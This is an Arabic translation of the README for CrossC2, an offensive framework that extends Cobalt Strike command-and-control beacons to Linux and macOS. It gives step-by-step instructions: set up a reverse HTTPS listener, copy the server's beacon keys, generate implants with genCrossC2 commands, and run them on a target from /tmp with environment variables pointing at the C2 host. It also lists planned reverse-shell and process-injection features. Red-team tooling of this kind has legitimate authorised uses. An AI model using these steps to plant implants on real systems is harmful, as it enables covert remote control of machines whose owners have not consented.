إطار CrossC2

README | 中文文档 | README_FULL | 中文完整文档

دعم CobaltStrike

دعم تقييم أمان المنصات الأخرى (Linux/MacOS/...) عبر CobaltStrike، ويتضمن دعم تطوير وحدات ما بعد الاختراق لنظام Unix

الاستخدام

1. التحميل

قم بتنزيل CrossC2.cna و genCrossC2 و CrossC2Kit، ثم عدّل تهيئة CrossC2.cna

2. إنشاء مستمع ونسخ المفتاح

• أنشئ مستمع windows/beacon_https/reverse_https
• انسخ .cobaltstrike.beacon_keys الموجود في دليل الخادم إلى الجهاز المحلي

3. توسيع الوظائف

• أضف CrossC2Kit_Loader.cna، والذي يتضمن التحميل في الذاكرة ووظائف أخرى
• في إصدار cs4.x، تفتقد وظائف إدارة الملفات وعرض العمليات؛ يجب استخدام هذا الـ Loader لإعادة التشغيل

4. إنشاء beacon

استخدم وظيفة الواجهة الرسومية المقدمة من سطر الأوامر أو cna لإنشاء beacon افتراضيًا

genCrossC2 <ip/نطاق المستمع> <منفذ المستمع> <beacon_keys> <مكتبة إعادة الربط;config.ini;c2profile.profile> <نظام التشغيل المستهدف> <معمارية الهدف>

مثال:

1. قراءة BEACON_KEY من المسار الحالي وإنشاء BEACON باستخدام بروتوكول حركة C2Profile الافتراضي
    genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
     
2. تحديد beacon ببروتوكول مخصص باستخدام مكتبة ديناميكية
    genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out

3. تحديد C2Profile الذي يحتاج إلى التحليل التلقائي
    genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

يمكن العثور على إعدادات أكثر تقدماً في الوثائق: 📄مرجع

5. تشغيل beacon

• شغّل النص البرمجي للاتصال الفوري الذي تم إنشاؤه بواسطة إضافة CrossC2 على الهدف
• بعد رفع beacon إلى الجهاز الهدف للتفعيل
• قم بتعيين دليل العمل لـ beacon وتشغيله: export CCPATH=/opt/ && /tmp/c2
• قم بتحديد مكتبة البروتوكول مؤقتًا لـ beacon وتشغيله: /tmp/c2 /tmp/c2-rebind.so
• قم بتعيين إعدادات C2 مؤقتًا لـ beacon: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
• قم بتعيين DEBUG لمراقبة حالة الاتصال: export CCDEBUG=1 && /tmp/c2

CrossC2Kit

CrossC2Kit: https://github.com/CrossC2/CrossC2Kit

CrossC2Kit هو امتداد اختراقي حول منصة Unix مشتق من CrossC2. يستخدم محرك Aggressor Script مفتوح المصدر. يمكن استخدامه لإنشاء أتمتة تحاكي عمليات الفريق الأحمر وتوسيع عميل CobaltStrike.

CrossC2Kit يرث الميزات الأصلية لـ CobaltStrike، لذلك لا تزال قواعد الكتابة والتطوير تشير إلى الوثائق الرسمية: https://trial.cobaltstrike.com/aggressor-script/index.html

لكنه يحتوي على بعض امتدادات API فوق CrossC2 للتحكم في beacon لمنصة Unix

API: 📄مرجع

عرض توضيحي:

ملاحظة

للاستخدام الداخلي فقط من قبل المؤسسات والشركات. يتميز هذا الإطار بدرجة معينة من عدم الاستقرار. لا يُسمح لغير المحترفين باستخدامه. لا يجوز لأي شخص استخدامه لأغراض غير قانونية أو للربح. بالإضافة إلى ذلك، يُحظر نشر نسخ معدلة دون إذن، أو تحمل المسؤولية القانونية.

قائمة المهام

1. دعم الاتصال العكسي عبر http-proxy (مع المصادقة) و socks proxy
2. beacon node؟ (نوع عقدة واحد، يمكنه استضافة beacon آخر دون الاعتماد على teamserver)
3. دعم الصدفة العكسية لـ so/dylib على Linux و MacOS، ووظائف حقن العمليات المشتقة منها

شكر

شكر خاص لـ @Emma على تصميم الشعار لـ CrossC2، والذي تم تصميمه على طراز سلسلة Armitage و CobaltStrike